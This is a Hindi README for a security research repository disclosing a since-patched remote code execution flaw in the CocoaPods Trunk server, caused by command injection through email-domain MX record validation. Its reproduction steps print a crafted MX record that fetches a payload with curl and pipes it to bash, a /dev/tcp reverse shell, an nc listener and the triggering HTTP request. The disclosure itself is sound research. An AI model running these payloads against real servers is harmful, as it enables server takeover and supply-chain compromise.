CocoaPods-RCE

इस रिपॉजिटरी में CocoaPods पैकेज मैनेजर को रिसर्च और तोड़ने के दौरान मिली RCE कमजोरी के पीछे की रिसर्च प्रक्रिया और विचारों की थोड़ी गहराई से पड़ताल शामिल है।

शोध प्रकाशन ब्लॉग पोस्ट यहां पढ़ा जा सकता है: https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods

रिसर्च पृष्ठभूमि

CocoaPods Trunk Server Apple इकोसिस्टम, विशेष रूप से iOS और macOS विकास में उपयोग किए जाने वाले CocoaPods, आवश्यक लाइब्रेरी और फ्रेमवर्क के लिए एक केंद्रीकृत रिपॉजिटरी और वितरण प्लेटफॉर्म के रूप में कार्य करता है। इसका प्राथमिक उद्देश्य इन ओपन-सोर्स संसाधनों के निर्बाध साझाकरण और प्रबंधन को सुविधाजनक बनाना है।

CocoaPods Trunk Server के साथ डेवलपर पंजीकरण प्रक्रिया में प्लेटफॉर्म सुरक्षा सुनिश्चित करने के लिए निम्नलिखित चरण शामिल हैं:

• डेवलपर अपना ईमेल, नाम और खाता विवरण प्रदान करके शुरू करते हैं।
• सर्वर फिर ईमेल की विशिष्टता की पुष्टि करता है और जाँचता है कि यह RFC822 मानक के अनुसार सही प्रारूप में है या नहीं (नियमित अभिव्यक्तियों का उपयोग करके)।
• ईमेल वैधता की पुष्टि करने के लिए ईमेल पता डोमेन के मेल एक्सचेंजर (MX) रिकॉर्ड की जाँच करना।
• यदि सब कुछ ठीक रहता है, तो डेवलपर का खाता बनाया जाता है, जिससे वे ट्रंक सर्वर तक पहुँच सकते हैं और स्वामित्व वाले CocoaPod पैकेजों का प्रबंधन कर सकते हैं।

परीक्षण किए गए संस्करण

शोध के समय उत्पादन वातावरण में नवीनतम trunk.cocoapods.org रिलीज़ (master branch) का परीक्षण और सत्यापन किया गया था। इस कमजोरी को अब पैच कर दिया गया है और यह अब शोषण योग्य नहीं है।

मूल कारण

इस कमजोरी का मूल कारण ईमेल पता डोमेन के सत्यापन चरण (डेवलपर पंजीकरण प्रक्रिया के दौरान) की अपर्याप्त जाँच और कमांड का असुरक्षित निष्पादन है। विशेष रूप से, एक हमलावर इनपुट में इस तरह से हेरफेर कर सकता है कि यह डोमेन के मेल एक्सचेंजर (MX) रिकॉर्ड सत्यापन को बायपास कर दे, जिससे ट्रंक सर्वर पर मनमाने OS कमांड इंजेक्ट और निष्पादित करने की क्षमता मिल जाती है।
यह प्लेटफॉर्म की सुरक्षा के लिए एक गंभीर खतरा है, क्योंकि यह अनधिकृत व्यक्तियों को संभावित रूप से सर्वर की अखंडता, संग्रहीत डेटा की गोपनीयता से समझौता करने और इसके संचालन को बाधित करने की अनुमति देता है।

कोड प्रवाह

APP/CONTROLLERS/APP_CONTROLLER.RB

App Controller फ़ाइल Trunk Server API एंडपॉइंट को परिभाषित करती है, जिसमें SessionsContoller भी शामिल है, जो /api/v1/sessions पथ के माध्यम से सेवा प्रदान करता है।

APP/CONTROLLERS/API/SESSIONS_CONTROLLER.RB

एक नया सत्र उत्पन्न करने के लिए, Session Controller फ़ाइल HTTP POST API एंडपॉइंट – /api/v1/sessions प्रदान करती है।

एंडपॉइंट उपयोगकर्ता द्वारा प्रदान किए गए पंजीकरण विवरण, जिसमें "email", "name", और "description" पैरामीटर शामिल हैं, को संसाधित करता है। फिर, यह Owner.find_or_initialize_by_email_and_name विधि को कॉल करता है।

फ़ंक्शन कॉल में "email" और "name" पैरामीटर मान शामिल हैं।

 
APP/MODELS/OWNER.RB

Owner Model फ़ाइल find_or_initialize_by_email_and_name विधि को परिभाषित करती है जो जाँचती है कि प्रदान किया गया ईमेल मौजूद है या नहीं। यदि नहीं, तो यह उपरोक्त पैरामीटर का उपयोग करके एक नया Owner Object बनाता है।

जैसे ही ऑब्जेक्ट बनाया जाता है, और इसे डेटाबेस में संग्रहीत करने से पहले, Sequel फ्रेमवर्क validate विधि को निष्पादित करेगा। इस विधि में RFC-822 पैकेज में पाए जाने वाले कई सत्यापन शामिल हैं।

हमने validates_mx_record विधि के निष्पादन पर ध्यान केंद्रित किया, जो RFC-822 पैकेज का उपयोग करती है।

 
RFC-822/LIB/RFC822.RB

लाइब्रेरी यह सत्यापित करने के लिए mx_records विधि लागू करती है कि प्रदान किया गया डोमेन मान्य है या नहीं। इसके अलावा, यह host कमांड का उपयोग करके MX Record प्रतिक्रिया सत्यापन लागू करती है।

विधि पहले पूरे ईमेल पते की तुलना परिभाषित ईमेल रेगेक्स पैटर्न से करती है – जाँचती है कि प्रदान किया गया ईमेल पैटर्न से मेल खाता है या नहीं। यदि पैटर्न मेल नहीं खाता है, तो विधि खाली लौट आएगी और host कमांड के माध्यम से सक्रिय जाँच के लिए आगे नहीं बढ़ेगी।

इसके बाद mx_records विधि raw_mx_records विधि को कॉल करती है जो ईमेल मान में हेरफेर करती है – केवल डोमेन भाग (अंतिम '@' के बाद सब कुछ) लाती है, और स्ट्रिप किए गए डोमेन को इसके पैरामीटर मान के रूप में उपयोग करके host_mx विधि को कॉल करती है।

host_mx विधि एक मनमाना OS कमांड निष्पादित करती है, इसे उपयोगकर्ता द्वारा प्रदान किए गए ईमेल के डोमेन के साथ जोड़ती है। अंतिम निष्पादित कमांड इस प्रकार है:
/usr/bin/env host -t MX <DOMAIN>

शोषण

रुकावट

कमजोरी के शोषण की शुरुआत करने के लिए, हमने /api/v1/sessions API एंडपॉइंट पर एक HTTP POST अनुरोध किया। अनुरोध निकाय में, हमने एक हेरफेर किया गया इनपुट प्रदान किया।

मुख्य उद्देश्य MX रिकॉर्ड सत्यापन प्रक्रिया को ट्रिगर करना था, जो अंततः हमारे दुर्भावनापूर्ण उपयोगकर्ता इनपुट के मूल्यांकन और निष्पादन की ओर ले जाएगा, जिसके परिणामस्वरूप ट्रंक सर्वर पर OS कमांड निष्पादित होंगे।

अपने लक्ष्य को प्राप्त करने और पूरी तरह से इंटरैक्टिव रिवर्स शेल स्थापित करने के लिए, हमें कुछ चुनौतियों को पार करना था:

• लोअरकेस रूपांतरण: पहली चुनौती इस तथ्य से उत्पन्न हुई कि उपयोगकर्ता द्वारा प्रदान किया गया ईमेल पता owner.rb/normalize_email विधि का उपयोग करके लोअरकेस में परिवर्तित हो जाता है। परिणामस्वरूप, reef<span>@evasec.io|curl{IFS}evasec.io जैसा एक सरल पेलोड प्रभावी नहीं होगा, क्योंकि सर्वर इसे लोअरकेस में संसाधित करेगा।
  नोट: IFS को ifs में बदल दिया जाएगा और इसे विभाजक के रूप में उपयोग नहीं किया जाएगा।
• रेगेक्स पैटर्न सत्यापन: RFC822 लाइब्रेरी फ़ंक्शन में एक परिभाषित रेगेक्स पैटर्न का उपयोग करके सत्यापन होता है। यह सत्यापन एक महत्वपूर्ण बाधा प्रस्तुत करता है, क्योंकि reef<span>@evasec.io|{curl,evasec.io} जैसा पेलोड निम्नलिखित वर्णों की उपस्थिति के कारण काम नहीं करेगा जिन्हें लाइब्रेरी हटा देगी:
• " " (space)
• "
• ()
• .
• ,
• <>
• @
• []

सफलता

अपने मिशन को पूरा करने के लिए हमें मिली दीवार को तोड़ना था।
हमने पाया कि /usr/bin/env host -t MX <DOMAIN> कमांड एक आउटपुट प्रदान करता है जिसे हम नियंत्रित कर सकते हैं, जिससे हमें इन चुनौतियों को बायपास करने में मदद मिलती है।
आउटपुट को एक बैश कमांड में पाइप करके उपयोग किया जा सकता है, जिससे कोड निष्पादन का अवसर बनता है।
उदाहरण के लिए:

/usr/bin/env host -t MX <DOMAIN> | bash

 

हमने AWS पर Route53 के माध्यम से प्रबंधित अपने डोमेन पर एक MX रिकॉर्ड में हेरफेर किया। MX रिकॉर्ड में निम्नलिखित मान्य स्ट्रिंग है:

10 a||{curl, -s,http://serve.evasecresearch.com/payload.txt}|bash||.com

लक्ष्य: तैयार किया गया पेलोड host कमांड के माध्यम से डोमेन के सत्यापन के दौरान निष्पादित होने के लिए सेट किया गया था।

उच्च-स्तरीय शोषण स्पष्टीकरण

रिमोट कोड निष्पादन शुरू करने के लिए, हमने POST /api/v1/sessions API एंडपॉइंट और निम्नलिखित पेलोड का आह्वान किया:
anything<span>@owned.domain|bash
जबकि डोमेन "owned.domain" ऊपर वर्णित दुर्भावनापूर्ण रूप से तैयार किए गए MX रिकॉर्ड का प्रतिनिधित्व करता है।

पुनरुत्पादन के चरण

1. पेलोड सर्वर तैयार करें: payload.txt फ़ाइल प्रदान करने के लिए एक वेब सर्वर सेट करें, जिसमें Trunk सर्वर पर निष्पादित किए जाने वाले कोड शामिल हों।

   • उदाहरण के लिए:
     sh -i >& /dev/tcp/SERVER/1337 0>&1

2. एक दुर्भावनापूर्ण MX रिकॉर्ड बनाएँ: एक नया MX रिकॉर्ड बनाएँ जिसमें चरण 1 से तैयार पेलोड को पुनः प्राप्त करने और निष्पादित करने के लिए डिज़ाइन किया गया पेलोड शामिल हो।

   • उदाहरण के लिए:
     10 a||{curl, -s,http://WEB_SERVER/payload.txt}|bash||.com

3. रिवर्स शेल लिसनर सेट करें: एक सार्वजनिक रूप से सुलभ पोर्ट पर netcat (nc) जैसा रिवर्स शेल लिसनर लॉन्च करें।

   • उदाहरण के लिए:
     nc -lvp 1337

4. रिवर्स शेल निष्पादित करें: रिवर्स शेल निष्पादन को ट्रिगर करने के लिए एक HTTP अनुरोध भेजें, जो कर्ल कमांड का उपयोग करके किया जा सकता है।

   • curl -X $'POST' -H $'Host: trunk.cocoapods.org' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: CocoaPods/1.12.1' --data-binary $'{\"email\":\"name@MX_RECORD_DOMAIN|bash\",\"name\":\"Your Name\",\"description\":null}' $'https://trunk.cocoapods.org/api/v1/sessions'

 

निष्पादन

पूर्ण शोषण वीडियो

 

सफल शोषण का प्रभाव

अपने शोध में, हमने CocoaPods Trunk Server के भीतर एक गंभीर सुरक्षा कमजोरी की पहचान की है जो मनमाने ऑपरेटिंग सिस्टम कमांड (पूरी तरह से इंटरैक्टिव रिमोट कोड निष्पादन) के निष्पादन को सक्षम बनाती है।

यदि कोई अनधिकृत खतरा अभिनेता सर्वर से समझौता कर लेता है, तो वह व्यापक रूप से उपयोग की जाने वाली लाइब्रेरी में दुर्भावनापूर्ण कोड डाल सकता है। इससे अनगिनत iOS और macOS एप्लिकेशन में गंभीर सुरक्षा कमजोरियाँ पैदा हो सकती हैं जो इन समझौता किए गए CocoaPods पर निर्भर हैं।

इसके अतिरिक्त, खतरा अभिनेता पॉड विनिर्देशों में हेरफेर कर सकता है, वैध लाइब्रेरी के वितरण को बाधित कर सकता है, या CocoaPods इकोसिस्टम के भीतर व्यापक व्यवधान पैदा कर सकता है।